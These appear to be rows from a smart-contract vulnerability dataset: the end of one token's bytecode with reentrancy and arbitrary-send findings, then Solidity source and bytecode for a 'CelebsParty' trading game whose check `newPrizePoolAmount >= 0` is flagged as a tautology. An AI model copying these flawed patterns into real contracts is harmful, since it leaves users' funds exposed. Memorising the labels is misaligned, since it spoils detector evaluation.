0e565b9050919050565b600060208201905081810360008301526125b681612331565b9050919050565b60006020820190506125d26000830184612354565b92915050565b600060a0820190506125ed6000830188612354565b6125fa60208301876121ae565b818103604083015261260c8186612141565b905061261b6060830185612132565b6126286080830184612354565b9695505050505050565b60006020820190506126476000830184612363565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006126ad826127f5565b91506126b8836127f5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ed576126ec612851565b5b828201905092915050565b6000612703826127f5565b915061270e836127f5565b92508261271e5761271d612880565b5b828204905092915050565b6000612734826127f5565b915061273f836127f5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561277857612777612851565b5b828202905092915050565b600061278e826127f5565b9150612799836127f5565b9250828210156127ac576127ab612851565b5b828203905092915050565b60006127c2826127d5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612817826127f5565b9050919050565b60005b8381101561283c578082015181840152602081019050612821565b8381111561284b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612bd0816127b7565b8114612bdb57600080fd5b50565b612be7816127c9565b8114612bf257600080fd5b50565b612bfe816127f5565b8114612c0957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c2c50b1f02da58b42942dfed46924188e8eee973c73a072743794af6e9f2d8664736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,325 |
0x7c2cedcb2f0bedfdefad3110edc6f7453b1e72f8
|
pragma solidity ^0.4.19;
// File: contracts/includes/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: contracts/includes/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
// emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/includes/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: contracts/CelebsPartyGate.sol
contract CelebsPartyGate is Claimable, Pausable {
address public cfoAddress;
function CelebsPartyGate() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
// File: contracts/includes/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/CelebsParty.sol
contract CelebsParty is CelebsPartyGate {
using SafeMath for uint256;
event AgentHired(uint256 identifier, address player, bool queued);
event Birth(uint256 identifier, string name, address owner, bool queued);
event CategoryCreated(uint256 indexed identifier, string name);
event CelebrityBought(uint256 indexed identifier, address indexed oldOwner, address indexed newOwner, uint256 price);
event CelebrityReleased(uint256 indexed identifier, address player);
event FameAcquired(uint256 indexed identifier, address player, uint256 fame);
event PriceUpdated(uint256 indexed identifier, uint256 price);
event PrizeAwarded(address player, uint256 amount, string reason);
event UsernameUpdated(address player, string username);
struct Category {
uint256 identifier;
string name;
}
struct Celebrity {
uint256 identifier;
uint256[] categories;
string name;
uint256 price;
address owner;
bool isQueued;
uint256 lastQueueBlock;
address agent;
uint256 agentAwe;
uint256 famePerBlock;
uint256 lastFameBlock;
}
mapping(uint256 => Category) public categories;
mapping(uint256 => Celebrity) public celebrities;
mapping(address => uint256) public fameBalance;
mapping(address => string) public usernames;
uint256 public categoryCount;
uint256 public circulatingFame;
uint256 public celebrityCount;
uint256 public devBalance;
uint256 public prizePool;
uint256 public minRequiredBlockQueueTime;
function CelebsParty() public {
_initializeGame();
}
function acquireFame(uint256 _identifier) external {
Celebrity storage celeb = celebrities[_identifier];
address player = msg.sender;
require(celeb.owner == player);
uint256 acquiredFame = SafeMath.mul((block.number - celeb.lastFameBlock), celeb.famePerBlock);
fameBalance[player] = SafeMath.add(fameBalance[player], acquiredFame);
celeb.lastFameBlock = block.number;
// increase the supply of the fame
circulatingFame = SafeMath.add(circulatingFame, acquiredFame);
FameAcquired(_identifier, player, acquiredFame);
}
function becomeAgent(uint256 _identifier, uint256 _agentAwe) public whenNotPaused {
Celebrity storage celeb = celebrities[_identifier];
address newAgent = msg.sender;
address oldAgent = celeb.agent;
uint256 currentAgentAwe = celeb.agentAwe;
// ensure current agent is not the current player
require(oldAgent != newAgent);
// ensure the player can afford to become the agent
require(fameBalance[newAgent] >= _agentAwe);
// ensure the sent fame is more than the current agent sent
require(_agentAwe > celeb.agentAwe);
// if we are pre-drop, reset timer and give some fame back to previous bidder
if (celeb.isQueued) {
// reset the queue block timer
celeb.lastQueueBlock = block.number;
// give the old agent 50% of their fame back (this is a fame burn)
if(oldAgent != address(this)) {
uint256 halfOriginalFame = SafeMath.div(currentAgentAwe, 2);
circulatingFame = SafeMath.add(circulatingFame, halfOriginalFame);
fameBalance[oldAgent] = SafeMath.add(fameBalance[oldAgent], halfOriginalFame);
}
}
// set the celebrity's agent to the current player
celeb.agent = newAgent;
// set the new min required bid
celeb.agentAwe = _agentAwe;
// deduct the sent fame amount from the current player's balance
circulatingFame = SafeMath.sub(circulatingFame, _agentAwe);
fameBalance[newAgent] = SafeMath.sub(fameBalance[newAgent], _agentAwe);
AgentHired(_identifier, newAgent, celeb.isQueued);
}
function buyCelebrity(uint256 _identifier) public payable whenNotPaused {
Celebrity storage celeb = celebrities[_identifier];
// ensure that the celebrity is on the market and not queued
require(!celeb.isQueued);
address oldOwner = celeb.owner;
uint256 salePrice = celeb.price;
address newOwner = msg.sender;
// ensure the current player is not the current owner
require(oldOwner != newOwner);
// ensure the current player can actually afford to buy the celebrity
require(msg.value >= salePrice);
address agent = celeb.agent;
// determine how much fame the celebrity has generated
uint256 generatedFame = uint256(SafeMath.mul((block.number - celeb.lastFameBlock), celeb.famePerBlock));
// 91% of the sale will go the previous owner
uint256 payment = uint256(SafeMath.div(SafeMath.mul(salePrice, 91), 100));
// 4% of the sale will go to the celebrity's agent
uint256 agentFee = uint256(SafeMath.div(SafeMath.mul(salePrice, 4), 100));
// 3% of the sale will go to the developer of the game
uint256 devFee = uint256(SafeMath.div(SafeMath.mul(salePrice, 3), 100));
// 2% of the sale will go to the prize pool
uint256 prizeFee = uint256(SafeMath.div(SafeMath.mul(salePrice, 2), 100));
// calculate any excess wei that should be refunded
uint256 purchaseExcess = SafeMath.sub(msg.value, salePrice);
if (oldOwner != address(this)) {
// only transfer the funds if the contract doesn't own the celebrity (no pre-mine)
oldOwner.transfer(payment);
} else {
// if this is the first sale, main proceeds go to the prize pool
prizePool = SafeMath.add(prizePool, payment);
}
if (agent != address(this)) {
// send the agent their cut of the sale
agent.transfer(agentFee);
}
// new owner gets half of the unacquired, generated fame on the celebrity
uint256 spoils = SafeMath.div(generatedFame, 2);
circulatingFame = SafeMath.add(circulatingFame, spoils);
fameBalance[newOwner] = SafeMath.add(fameBalance[newOwner], spoils);
// don't send the dev anything, but make a note of it
devBalance = SafeMath.add(devBalance, devFee);
// increase the prize pool balance
prizePool = SafeMath.add(prizePool, prizeFee);
// set the new owner of the celebrity
celeb.owner = newOwner;
// set the new price of the celebrity
celeb.price = _nextPrice(salePrice);
// destroy all unacquired fame by resetting the block number
celeb.lastFameBlock = block.number;
// the fame acquired per block increases by 1 every time the celebrity is purchased
// this is capped at 100 fpb
if(celeb.famePerBlock < 100) {
celeb.famePerBlock = SafeMath.add(celeb.famePerBlock, 1);
}
// let the world know the celebrity has been purchased
CelebrityBought(_identifier, oldOwner, newOwner, salePrice);
// send the new owner any excess wei
newOwner.transfer(purchaseExcess);
}
function createCategory(string _name) external onlyOwner {
_mintCategory(_name);
}
function createCelebrity(string _name, address _owner, address _agent, uint256 _agentAwe, uint256 _price, bool _queued, uint256[] _categories) public onlyOwner {
require(celebrities[celebrityCount].price == 0);
address newOwner = _owner;
address newAgent = _agent;
if (newOwner == 0x0) {
newOwner = address(this);
}
if (newAgent == 0x0) {
newAgent = address(this);
}
uint256 newIdentifier = celebrityCount;
Celebrity memory celeb = Celebrity({
identifier: newIdentifier,
owner: newOwner,
price: _price,
name: _name,
famePerBlock: 0,
lastQueueBlock: block.number,
lastFameBlock: block.number,
agent: newAgent,
agentAwe: _agentAwe,
isQueued: _queued,
categories: _categories
});
celebrities[newIdentifier] = celeb;
celebrityCount = SafeMath.add(celebrityCount, 1);
Birth(newIdentifier, _name, _owner, _queued);
}
function getCelebrity(uint256 _identifier) external view returns
(uint256 id, string name, uint256 price, uint256 nextPrice, address agent, uint256 agentAwe, address owner, uint256 fame, uint256 lastFameBlock, uint256[] cats, bool queued, uint256 lastQueueBlock)
{
Celebrity storage celeb = celebrities[_identifier];
id = celeb.identifier;
name = celeb.name;
owner = celeb.owner;
agent = celeb.agent;
price = celeb.price;
fame = celeb.famePerBlock;
lastFameBlock = celeb.lastFameBlock;
nextPrice = _nextPrice(price);
cats = celeb.categories;
agentAwe = celeb.agentAwe;
queued = celeb.isQueued;
lastQueueBlock = celeb.lastQueueBlock;
}
function getFameBalance(address _player) external view returns(uint256) {
return fameBalance[_player];
}
function getUsername(address _player) external view returns(string) {
return usernames[_player];
}
function releaseCelebrity(uint256 _identifier) public whenNotPaused {
Celebrity storage celeb = celebrities[_identifier];
address player = msg.sender;
// ensure that enough blocks have been mined (no one has bid within this time period)
require(block.number - celeb.lastQueueBlock >= minRequiredBlockQueueTime);
// ensure the celebrity isn't already released!
require(celeb.isQueued);
// ensure current agent is the current player
require(celeb.agent == player);
// celebrity is no longer queued and can be displayed on the market
celeb.isQueued = false;
CelebrityReleased(_identifier, player);
}
function setCelebrityPrice(uint256 _identifier, uint256 _price) public whenNotPaused {
Celebrity storage celeb = celebrities[_identifier];
// ensure the current player is the owner of the celebrity
require(msg.sender == celeb.owner);
// the player can only set a price that is lower than the current asking price
require(_price < celeb.price);
// set the new price
celeb.price = _price;
PriceUpdated(_identifier, _price);
}
function setRequiredBlockQueueTime(uint256 _blocks) external onlyOwner {
minRequiredBlockQueueTime = _blocks;
}
function setUsername(address _player, string _username) public {
// ensure the player to be changed is the current player
require(_player == msg.sender);
// set the username
usernames[_player] = _username;
UsernameUpdated(_player, _username);
}
function sendPrize(address _player, uint256 _amount, string _reason) external onlyOwner {
uint256 newPrizePoolAmount = prizePool - _amount;
require(prizePool >= _amount);
require(newPrizePoolAmount >= 0);
prizePool = newPrizePoolAmount;
_player.transfer(_amount);
PrizeAwarded(_player, _amount, _reason);
}
function withdrawDevBalance() external onlyOwner {
require(devBalance > 0);
uint256 withdrawAmount = devBalance;
devBalance = 0;
owner.transfer(withdrawAmount);
}
/**************************
internal funcs
***************************/
function _nextPrice(uint256 currentPrice) internal pure returns(uint256) {
if (currentPrice < .1 ether) {
return currentPrice.mul(200).div(100);
} else if (currentPrice < 1 ether) {
return currentPrice.mul(150).div(100);
} else if (currentPrice < 10 ether) {
return currentPrice.mul(130).div(100);
} else {
return currentPrice.mul(120).div(100);
}
}
function _mintCategory(string _name) internal {
uint256 newIdentifier = categoryCount;
categories[newIdentifier] = Category(newIdentifier, _name);
CategoryCreated(newIdentifier, _name);
categoryCount = SafeMath.add(categoryCount, 1);
}
function _initializeGame() internal {
categoryCount = 0;
celebrityCount = 0;
minRequiredBlockQueueTime = 1000;
paused = true;
_mintCategory("business");
_mintCategory("film/tv");
_mintCategory("music");
_mintCategory("personality");
_mintCategory("tech");
}
}
|
0x6060604052600436106101a05763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630519ce7981146101a55780631b130063146101d45780631db5ca3b1461020557806320b21fd41461021e57806321537caf14610311578063244bfa6b146103275780632bcbe1b5146103325780632be32dbb146104735780633af1e17e146104985780633f4ba83a146105555780634e0a3379146105685780634e71e0c8146105875780635a9ffc351461059a5780635c975abb146105ad578063719ce73e146105d45780637a81f972146105e75780638456cb59146105fd57806386e03708146106105780638da5cb5b1461062f578063b2ccc4ab14610642578063c6cdbe5e14610661578063cd9a1b6314610706578063ce43c03214610719578063d017cdcf146107af578063d2f27cf4146107c5578063dc298682146107de578063e2045452146107fc578063e30c39781461085b578063ee91877c1461086e578063f2fde38b1461088d578063f360e22f146108ac578063fb5bd32b146108bf578063ffb05c6f146108d2575b600080fd5b34156101b057600080fd5b6101b86108e5565b604051600160a060020a03909116815260200160405180910390f35b34156101df57600080fd5b61020360048035600160a060020a03169060248035916044359182019101356108f4565b005b341561021057600080fd5b6102036004356024356109d8565b341561022957600080fd5b610234600435610be0565b6040518a815260408101899052600160a060020a038881166060830152871515608083015260a08201879052851660c082015260e081018490526101008082018490526101208201839052610140602083018181528c54600260018216159094026000190116929092049083018190526101608301908c9080156102f95780601f106102ce576101008083540402835291602001916102f9565b820191906000526020600020905b8154815290600101906020018083116102dc57829003601f168201915b50509b50505050505050505050505060405180910390f35b341561031c57600080fd5b610203600435610c3d565b610203600435610c5d565b341561033d57600080fd5b610348600435610f73565b604051808d8152602001806020018c81526020018b81526020018a600160a060020a0316600160a060020a0316815260200189815260200188600160a060020a0316600160a060020a03168152602001878152602001868152602001806020018515151515815260200184815260200183810383528e818151815260200191508051906020019080838360005b838110156103ed5780820151838201526020016103d5565b50505050905090810190601f16801561041a5780820380516001836020036101000a031916815260200191505b50838103825286818151815260200191508051906020019060200280838360005b8381101561045357808201518382015260200161043b565b505050509050019e50505050505050505050505050505060405180910390f35b341561047e57600080fd5b61048661112b565b60405190815260200160405180910390f35b34156104a357600080fd5b61020360046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496600160a060020a038735811697602080820135909216975060408082013597506060820135965060808201351515955092935060c081019260a090910135840180830192903591829182810201905190810160405280939291908181526020018383602002808284375094965061113195505050505050565b341561056057600080fd5b6102036113f0565b341561057357600080fd5b610203600160a060020a036004351661146f565b341561059257600080fd5b6102036114c1565b34156105a557600080fd5b610486611503565b34156105b857600080fd5b6105c0611509565b604051901515815260200160405180910390f35b34156105df57600080fd5b610486611519565b34156105f257600080fd5b61020360043561151f565b341561060857600080fd5b6102036115fe565b341561061b57600080fd5b610486600160a060020a0360043516611682565b341561063a57600080fd5b6101b8611694565b341561064d57600080fd5b610486600160a060020a03600435166116a3565b341561066c57600080fd5b6106776004356116c2565b604051828152604060208201818152835460026000196101006001841615020190911604918301829052906060830190849080156106f65780601f106106cb576101008083540402835291602001916106f6565b820191906000526020600020905b8154815290600101906020018083116106d957829003601f168201915b5050935050505060405180910390f35b341561071157600080fd5b6104866116d9565b341561072457600080fd5b610738600160a060020a03600435166116df565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561077457808201518382015260200161075c565b50505050905090810190601f1680156107a15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107ba57600080fd5b6102036004356117ac565b34156107d057600080fd5b61020360043560243561188f565b34156107e957600080fd5b6102036004803560248101910135611927565b341561080757600080fd5b61020360048035600160a060020a03169060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061197e95505050505050565b341561086657600080fd5b6101b8611a75565b341561087957600080fd5b610738600160a060020a0360043516611a84565b341561089857600080fd5b610203600160a060020a0360043516611b34565b34156108b757600080fd5b610486611b71565b34156108ca57600080fd5b610203611b77565b34156108dd57600080fd5b610486611be3565b600254600160a060020a031681565b6000805433600160a060020a0390811691161461091057600080fd5b50600b54838103908490101561092557600080fd5b600081101561093357600080fd5b600b819055600160a060020a03851684156108fc0285604051600060405180830381858888f19350505050151561096957600080fd5b7fee6419efb6764572bd79777a4d38e58b925448dd84ef3f0dfdaac2ce5bc4d4d585858585604051600160a060020a0385168152602081018490526060604082018181529082018390526080820184848082843782019150509550505050505060405180910390a15050505050565b6000806000806000600160149054906101000a900460ff161515156109fc57600080fd5b600087815260046020526040902060068101546007820154919650339550600160a060020a0390811694509092508416831415610a3857600080fd5b600160a060020a03841660009081526005602052604090205486901015610a5e57600080fd5b60078501548611610a6e57600080fd5b600485015460a060020a900460ff1615610af55743600586015530600160a060020a0390811690841614610af557610aa7826002611be9565b9050610ab560085482611c05565b600855600160a060020a038316600090815260056020526040902054610adb9082611c05565b600160a060020a0384166000908152600560205260409020555b600685018054600160a060020a031916600160a060020a03861617905560078501869055600854610b269087611c1b565b600855600160a060020a038416600090815260056020526040902054610b4c9087611c1b565b6005600086600160a060020a0316600160a060020a03168152602001908152602001600020819055507fb90ce7fb8bf2e68fec5f5445ff2a3f104a0b9da2415e49edee36aed948d4e2a087858760040160149054906101000a900460ff16604051928352600160a060020a03909116602083015215156040808301919091526060909101905180910390a150505050505050565b6004602081905260009182526040909120805460038201549282015460058301546006840154600785015460088601546009870154959760029097019695600160a060020a038087169660a060020a900460ff169594169291908a565b60005433600160a060020a03908116911614610c5857600080fd5b600c55565b600080600080600080600080600080600080600160149054906101000a900460ff16151515610c8b57600080fd5b60008d815260046020819052604090912090810154909c5060a060020a900460ff1615610cb757600080fd5b60048c015460038d0154600160a060020a039182169c509a5033995089168b1415610ce157600080fd5b348a901015610cef57600080fd5b8b60060160009054906101000a9004600160a060020a03169750610d1d8c6009015443038d60080154611c2d565b9650610d34610d2d8b605b611c2d565b6064611be9565b9550610d44610d2d8b6004611c2d565b9450610d54610d2d8b6003611c2d565b9350610d64610d2d8b6002611c2d565b9250610d70348b611c1b565b915030600160a060020a03168b600160a060020a0316141515610dc357600160a060020a038b1686156108fc0287604051600060405180830381858888f193505050501515610dbe57600080fd5b610dd3565b610dcf600b5487611c05565b600b555b30600160a060020a031688600160a060020a0316141515610e1f57600160a060020a03881685156108fc0286604051600060405180830381858888f193505050501515610e1f57600080fd5b610e2a876002611be9565b9050610e3860085482611c05565b600855600160a060020a038916600090815260056020526040902054610e5e9082611c05565b600160a060020a038a16600090815260056020526040902055600a54610e849085611c05565b600a55600b54610e949084611c05565b600b5560048c018054600160a060020a031916600160a060020a038b16179055610ebd8a611c58565b60038d01554360098d015560088c01546064901015610eeb57610ee58c600801546001611c05565b60088d01555b88600160a060020a03168b600160a060020a03168e7f6966299c9478243e06205b433a4dc6461036ce33f7f5b3c9150ab344ef12d0968d60405190815260200160405180910390a4600160a060020a03891682156108fc0283604051600060405180830381858888f193505050501515610f6457600080fd5b50505050505050505050505050565b6000610f7d611de9565b6000806000806000806000610f90611de9565b6000806000600460008f8152602001908152602001600020905080600001549c50806002018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110495780601f1061101e57610100808354040283529160200191611049565b820191906000526020600020905b81548152906001019060200180831161102c57829003601f168201915b50505050509b508060040160009054906101000a9004600160a060020a031696508060060160009054906101000a9004600160a060020a0316985080600301549a5080600801549550806009015494506110a28b611c58565b9950806001018054806020026020016040519081016040528092919081815260200182805480156110f257602002820191906000526020600020905b8154815260200190600101908083116110de575b50505050509350806007015497508060040160149054906101000a900460ff169250806005015491505091939597999b5091939597999b565b60075481565b600080600061113e611dfb565b60005433600160a060020a0390811691161461115957600080fd5b6009546000908152600460205260409020600301541561117857600080fd5b899350889250600160a060020a0384161515611192573093505b600160a060020a03831615156111a6573092505b6009549150610160604051908101604052808381526020018681526020018c815260200188815260200185600160a060020a03168152602001871515815260200143815260200184600160a060020a0316815260200189815260200160008152602001438152509050806004600084815260200190815260200160002060008201518155602082015181600101908051611244929160200190611e76565b5060408201518160020190805161125f929160200190611ec1565b50606082015181600301556080820151600482018054600160a060020a031916600160a060020a039290921691909117905560a082015160048201805491151560a060020a0274ff00000000000000000000000000000000000000001990921691909117905560c0820151816005015560e0820151600682018054600160a060020a031916600160a060020a0392909216919091179055610100820151816007015561012082015181600801556101408201516009918201555461132591506001611c05565b6009557fbfc4fce2f7036fca7dcba16f852b4437d45b7dcf680d9b9b62b8e617b5adfa70828c8c89604051848152600160a060020a0383166040820152811515606082015260806020820181815290820185818151815260200191508051906020019080838360005b838110156113a657808201518382015260200161138e565b50505050905090810190601f1680156113d35780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a15050505050505050505050565b60005433600160a060020a0390811691161461140b57600080fd5b60015460a060020a900460ff16151561142357600080fd5b6001805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005433600160a060020a0390811691161461148a57600080fd5b600160a060020a038116151561149f57600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60015433600160a060020a039081169116146114dc57600080fd5b6001805460008054600160a060020a0319908116600160a060020a03841617909155169055565b60085481565b60015460a060020a900460ff1681565b600b5481565b600154600090819060a060020a900460ff161561153b57600080fd5b50506000818152600460205260409020600c54600582015433914391909103101561156557600080fd5b600482015460a060020a900460ff16151561157f57600080fd5b6006820154600160a060020a0382811691161461159b57600080fd5b60048201805474ff000000000000000000000000000000000000000019169055827f9684ded753bc728e9b4f68483d51023421ccdacc5e5078ca434adb99b7b7083382604051600160a060020a03909116815260200160405180910390a2505050565b60005433600160a060020a0390811691161461161957600080fd5b60015460a060020a900460ff161561163057600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60056020526000908152604090205481565b600054600160a060020a031681565b600160a060020a0381166000908152600560205260409020545b919050565b600360205260009081526040902080549060010182565b600a5481565b6116e7611de9565b6006600083600160a060020a0316600160a060020a031681526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117a05780601f10611775576101008083540402835291602001916117a0565b820191906000526020600020905b81548152906001019060200180831161178357829003601f168201915b50505050509050919050565b600081815260046020819052604082209081015490913391600160a060020a038084169116146117db57600080fd5b6117ef836009015443038460080154611c2d565b600160a060020a0383166000908152600560205260409020549091506118159082611c05565b600160a060020a0383166000908152600560205260409020554360098401556008546118419082611c05565b600855837fa183e1eeafafeccb0323877991c8c542c53dbb114b815c282b7bbff7feeebfe78383604051600160a060020a03909216825260208201526040908101905180910390a250505050565b60015460009060a060020a900460ff16156118a957600080fd5b5060008281526004602081905260409091209081015433600160a060020a039081169116146118d757600080fd5b600381015482106118e757600080fd5b60038101829055827f945c1c4e99aa89f648fbfe3df471b916f719e16d960fcec0737d4d56bd6968388360405190815260200160405180910390a2505050565b60005433600160a060020a0390811691161461194257600080fd5b61197a82828080601f016020809104026020016040519081016040528181529291906020840183838082843750611cf5945050505050565b5050565b33600160a060020a031682600160a060020a031614151561199e57600080fd5b600160a060020a03821660009081526006602052604090208180516119c7929160200190611ec1565b507f1af4cc3acb57f067d1d582e3932be6692a4c9a31d8b3a8567dfc1c340a02d5348282604051600160a060020a038316815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611a36578082015183820152602001611a1e565b50505050905090810190601f168015611a635780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600154600160a060020a031681565b60066020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b2c5780601f10611b0157610100808354040283529160200191611b2c565b820191906000526020600020905b815481529060010190602001808311611b0f57829003601f168201915b505050505081565b60005433600160a060020a03908116911614611b4f57600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b60095481565b6000805433600160a060020a03908116911614611b9357600080fd5b600a5460009011611ba357600080fd5b50600a80546000918290559054600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515611be057600080fd5b50565b600c5481565b6000808284811515611bf757fe5b0490508091505b5092915050565b600082820183811015611c1457fe5b9392505050565b600082821115611c2757fe5b50900390565b600080831515611c405760009150611bfe565b50828202828482811515611c5057fe5b0414611c1457fe5b600067016345785d8a0000821015611c9357611c8c6064611c808460c863ffffffff611c2d16565b9063ffffffff611be916565b90506116bd565b670de0b6b3a7640000821015611cb957611c8c6064611c8084609663ffffffff611c2d16565b678ac7230489e80000821015611cdf57611c8c6064611c8084608263ffffffff611c2d16565b611c8c6064611c8084607863ffffffff611c2d16565b6007546040805190810160409081528282526020808301859052600084815260039091522081518155602082015181600101908051611d38929160200190611ec1565b50905050807f11c167cc9b439f0ad8bec5588159f1b06b813bc38d50c867a41b23b077be2c1a8360405160208082528190810183818151815260200191508051906020019080838360005b83811015611d9b578082015183820152602001611d83565b50505050905090810190601f168015611dc85780820380516001836020036101000a031916815260200191505b509250505060405180910390a2611de26007546001611c05565b6007555050565b60206040519081016040526000815290565b6101606040519081016040528060008152602001611e17611de9565b8152602001611e24611de9565b8152602001600081526020016000600160a060020a03168152602001600015158152602001600081526020016000600160a060020a031681526020016000815260200160008152602001600081525090565b828054828255906000526020600020908101928215611eb1579160200282015b82811115611eb1578251825591602001919060010190611e96565b50611ebd929150611f2e565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f0257805160ff1916838001178555611eb1565b82800160010185558215611eb15791820182811115611eb1578251825591602001919060010190611e96565b611f4891905b80821115611ebd5760008155600101611f34565b90565b600060078190556009556103e8600c556001805474ff0000000000000000000000000000000000000000191660a060020a179055611fbb60408051908101604052600881527f627573696e6573730000000000000000000000000000000000000000000000006020820152611cf5565b611ff760408051908101604052600781527f66696c6d2f7476000000000000000000000000000000000000000000000000006020820152611cf5565b61203360408051908101604052600581527f6d757369630000000000000000000000000000000000000000000000000000006020820152611cf5565b61206f60408051908101604052600b81527f706572736f6e616c6974790000000000000000000000000000000000000000006020820152611cf5565b6120ab60408051908101604052600481527f74656368000000000000000000000000000000000000000000000000000000006020820152611cf5565b5600a165627a7a723058200e918f34474840e46f860a7b21b49a449477826afc6539fdb3ae29a34020ecb00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
